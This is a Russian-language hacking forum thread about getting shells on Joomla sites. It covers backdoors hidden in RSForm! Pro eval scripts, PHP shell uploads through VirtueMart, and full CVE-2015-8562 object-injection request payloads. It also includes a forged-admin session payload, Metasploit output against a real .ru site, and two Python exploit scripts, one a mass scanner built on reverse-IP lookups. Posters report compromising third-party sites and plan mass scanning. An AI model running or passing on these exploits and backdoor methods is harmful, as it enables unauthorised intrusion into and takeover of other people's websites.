Заливка шелла через RSForm! Pro тестировал на версии 1.50.0 Требуются админские права!!! В админке переходим: Компоненты-> RSForm! Pro -> Управление формами -> (Выбираем любую форму) -> Свойства -> Скрипты (Сценарии выполнения программы) в первое же поле вбиваем phpinfo(); и профит! Скрипт выполняющий код: administrator\components\com_rsform\helpers\rsform.php - 1981 строчка eval($form->ScriptDisplay); Запись для выполнения кода заносятся в таблицу JOS__rsform_forms в колонки ScriptProcess, ScriptProcess2, ScriptDisplay Таким образом мы можем спрятать бегдор в БД!
хм, ок)) Заливка шелла через Virtuemart, нужны права одмина или модератора, как повезет 1.Заливка с Front End смотрим id товара с тегов, их атрибутов и тд и далее переходим по урлю ?option=com_virtuemart&tmpl=component&view=product&task=edit&virtuemart_product_id=[id] и грузим в фото товара с PHP расширением. 2. Заливка с админки В фото товара льем свой шелл c PHP расширением.
Joomla 0day RCE (от 1.5 до 3.4) Code: GET /joomla/ HTTP/1.1 Host: 192.168.152.130 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0 x-forwarded-for: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:60:"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"connection";b:1;}ð Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: 82864b7eae85ebcf7a6fbdda5d464249=h5kl99v8ddi9t64919sf706q64 Connection: keep-alive Code: POST /joomla/ HTTP/1.1 Host: 192.168.152.130 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: 82864b7eae85ebcf7a6fbdda5d464249=h5kl99v8ddi9t64919sf706q64 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 24 111=cGhwaW5mbygpOw%3d%3d Дисклос: https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html PoC: http://www.freebuf.com/vuls/89754.html
Code: User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}ð��� Запрос сробатывает со второго раза!
Есть POC для Metasploit: https://github.com/rapid7/metasploit-framework/pull/6355 Проверено, работает.
Я то могу платно показать, как она работает, но 1. Пробивается не больше 5% сайтов. Почему - надо смотреть код Джумлы. 2. Есть куча левых фиксов, которые не позволяют выполнить это. 3. Тот же CloudFlare посылает ваши эксплоиты строго по компасу. Вообщем так, сайты своих друзей и врагов я протестировал. Один дырявый у друзей уже пофиксил. Из числа конкурентов, к сожалению, никто не пробивается. Далее мне эта тема не интересна
у меня из 150 сайтов 18 пробило, все пробитые от 3.x и выше, щас на массовость буду смотреть по версиям на 8к сатов, что пробьется... P.S: Тема очень обсуждаема, вынести бы ее в отдельную тему... модерам...
В этой ссылке, которую приводили выше - https://github.com/rapid7/metasploit-framework/pull/6355 описаны некоторые ограничения по версии php. Я пробовал эксплоит на хостах, с подходящими версиями - либо возвращается обычная страница, либо 403 или пустой ответ сервера. В двух последних случаях подозреваю WAF. Пока не ясно как с ним бороться.
класс JDatabaseDriverMysqli , нашёл только в версии 332, а вот где еть возможность записи в файл сессии так и не нашёл 83 public function __destruct() 84 { 85 $this->disconnect(); 86 } 200 public function disconnect() 201 { 202 // Close the connection. 203 if ($this->connection) 204 { 205 foreach ($this->disconnectHandlers as $h) 206 { 207 call_user_func_array($h, array( &$this)); 208 } 209 210 mysqli_close($this->connection); 211 } 212 213 $this->connection = null; 214 }
Что-то не варит котелок у меня уже. Если кто заставит это чудо пробивать версии линейки 2.5 просьба отписать сюди или в ЛС. С меня пиво.
Тут вроде бы еще одна возможность намечается: Проверил как в 3.4 выглядит сессия админа. С учетом вычищенного лишнего: Я сознательно поубирал всякий хлам. Если ЭТО внести непосредственно (руками) в таблицу session независимо от содержимого полей client_id и guest на главной странице появляется кнопка редактирования постов со всеми вытекающими. В админку я не попал, но думаю дело техники. Теперь если не руками. Отправляю запрос со следующим User-Agent: PHP: $uagent='";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":28:{s:9:"\0\0\0isRoot";b:1;s:2:"id";s:1:"1";s:4:"name";s:6:"Hacker";s:8:"username";s:5:"admin";s:5:"email";s:1:"@";s:8:"password";s:4:"SUXX";s:14:"password_clear";s:0:"";s:5:"block";s:1:"0";s:9:"sendEmail";s:1:"1";s:12:"registerDate";s:10:"2015-01-01";s:13:"lastvisitDate";s:19:"0000-00-00 00:00:00";s:10:"activation";s:1:"0";s:6:"params";s:0:"";s:6:"groups";a:1:{i:8;s:1:"8";}s:5:"guest";i:0;s:13:"lastResetTime";s:19:"0000-00-00 00:00:00";s:10:"resetCount";s:1:"0";s:12:"requireReset";s:1:"0";s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:8;}s:14:"\0\0\0_authLevels";a:5:{i:0;i:1;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:6;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;s:6:"otpKey";s:0:"";s:4:"otep";s:0:"";}s:13:"session.token";s:2:"ff";}'."\xf0\x9d\x8c\x86"; В базу благополучно записывается такое значение сессии: Но как только я запрашиваю страницу браузером с той же кукой - заветной кнопки не вижу и в базу автоматически заносится Если в структуре, занесенной в БД посредством подмены User-Agent заменить (уже в базе руками) s:1088:""; на s:1:"1"; или что-либо еще корректное - то все работает и я получаю права автора на редактирование публикаций с сайта. не катит Если _default обрезать и дописать к нему второй _default - джумла потом дополняет первый как в предыдущем случае, а второй хвостом болтается. В версии 2.5 хвост превращается в __defaul2|N; В исходники особо не вникал, но возможно что это можно раскрутить до получения прав автора админа.
Code: msf exploit(joomla_http_header_rce) > set RHOST www.aquak***.ru RHOST => www.aquak***.ru msf exploit(joomla_http_header_rce) > check [*] www.aquak***.ru:80 - The target appears to be vulnerable. msf exploit(joomla_http_header_rce) > exploit [*] Started reverse handler on 188.227.**.**:4444 [*] www.aquak***.ru:80 - Sending payload ... [*] Exploit completed, but no session was created. msf exploit(joomla_http_header_rce) >
Подкоректировал сплоит (https://www.exploit-db.com/exploits/38977/), выкладываю, может кому-то пригодиться. Реально задолбался менять payload и URL в файле. Еще сделал запись результата в файл. Для работы нужна библиотека requests, ставить так: Code: pip install requests P.S Ни разу не пробивал Jooml'y < 3.x. И еще бывает такое, что результат не выводится на страницу но выполняется. Проверить это можно создав обычный сниффер. Code: #! /usr/bin/python # -*- coding: utf-8 -*- import requests # easy_install requests import sys reload(sys) sys.setdefaultencoding('cp866') def get_url(url, user_agent): headers = { 'User-Agent': user_agent } cookies = requests.get(url,headers=headers).cookies for _ in range(3): response = requests.get(url, headers=headers,cookies=cookies) f = open('result.html', 'w') f.write(response.content) f.close() res = "Смотри файл result.html" return res def php_str_noquotes(data): "Convert string to chr(xx).chr(xx) for use in php" encoded = "" for char in data: encoded += "chr({0}).".format(ord(char)) return encoded[:-1] def generate_payload(php_payload): php_payload = "eval({0})".format(php_str_noquotes(php_payload)) terminate = '\xf0\xfd\xfd\xfd'; exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";''' injected_payload = "{};JFactory::getConfig();exit".format(php_payload) exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload) exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate return exploit_template print ("Moded by Filipp for ANTICHAT.RU") vulnurl = raw_input("URL: ") phpexec = raw_input("PHP-код (без <? ?>): ") pl = generate_payload(phpexec) print get_url(vulnurl, pl)
Выкладываю свою поделку для проверки списка сайтов на CVE-2015-8562. Скрипт работает в двух режимах: можно указать домен, по которому будет осуществлен reverse ip lookup и получен список сайтов для проверки или же задать файл со списком сайтов. В случае если сайт уязвим, программа выведет "exploitable". Есть возможность результат записать в лог-файл. Сильно не пинайте, посоны, код корявенький, работает тоже не шибко шустро. Да, и еще, обратите внимание на название заголовка, который используется - сейчас он еще работает там, где уже фильтруется UA. Code: ''' joomla rce masschek for CVE-2015-8562 bb special for antichat.ru thx to: Gary@Sec-1 ltd, antichat community 19.12.2015 ''' import sys import re import requests import getopt message = "--" def get_url(url, user_agent): global message headers = { #'User-Agent': user_agent 'x-forwarded-for': user_agent } response = None try: cookies = requests.get(url, timeout=15, headers=headers).cookies for _ in range(3): response = requests.get(url, timeout=15, headers=headers,cookies=cookies) except Exception as ex: #print ex.message message = "Error: " + str(ex.message) if response: #print "got response" #print response.content return response.content return None def php_str_noquotes(data): "Convert string to chr(xx).chr(xx) for use in php" encoded = "" for char in data: encoded += "chr({0}).".format(ord(char)) return encoded[:-1] def generate_payload(php_payload): php_payload = "eval({0})".format(php_str_noquotes(php_payload)) terminate = '\xf0\xfd\xfd\xfd'; exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";''' injected_payload = "{};JFactory::getConfig();exit".format(php_payload) exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload) exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate return exploit_template def get_site_list(domain): url = "http://viewdns.info/reverseip/?host=" + domain + "&t=1" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1' } #print url try: response = requests.get(url, timeout=15, headers = headers) text = response.content #print text sites = re.findall("<tr>\s+<td>(.*?)</td><td align=", text) except Exception as ex: print ex.message return sites def check_sites(site_list, pl, do_log, log_file): global message i = 1 count = len(site_list) for site in site_list: site = site.strip() if(site.find("http://") == -1 ): host = "http://"+site else: host = site #print host resp = get_url(host ,pl) if resp != None: lstr = "" m = re.search("phpinfo()", resp) if m: lstr = host + " exploitable" else : lstr = host + " --" else: #print "error!" lstr = host + " " + message message = "--" print "[" + str(i) + "/" + str(count) + "] "+ lstr i = i + 1 if(do_log == True): log_file_handle = open(log_file, "a") log_file_handle.write(lstr+"\n") log_file_handle.close() def usage(): print "Usage: "+sys.argv[0]+" "+"<options>" print "Options:" print "-d, --domain domain for reverse lookup on viewdns.info" print "-f, --file file with site list to check" print "-l, --log save result to log file" print "Example: "+sys.argv[0]+" --file domains.txt --log output.txt" pl = generate_payload("phpinfo();") #text = get_url(host, pl) #write log? write_log = False log_file = "" domain = "" read_file = "" opts, args = getopt.getopt(sys.argv[1:], "f:d:l:", ["file=","domain=","log="]); for opt, arg in opts: if opt in("-f", "--file"): read_file = arg elif opt in("-d", "--domain"): domain = arg elif opt in("-l", "--log"): log_file = arg write_log = True if(domain and read_file): usage() exit() if(domain == "" and read_file == ""): usage() exit() if(write_log == True): fh = open(log_file, "w") fh.close() #use file or get domains from viewdns.info if(domain): sites = get_site_list(domain) #print sites print "Total " +str(len(sites)) + " sites to check" check_sites(sites, pl, write_log, log_file) elif(read_file): fh = open(read_file,"r") data = fh.readlines() fh.close() print "Total " +str(len(data)) + " sites to check" check_sites(data, pl, write_log, log_file) Надеюсь кому-нибудь пригодится.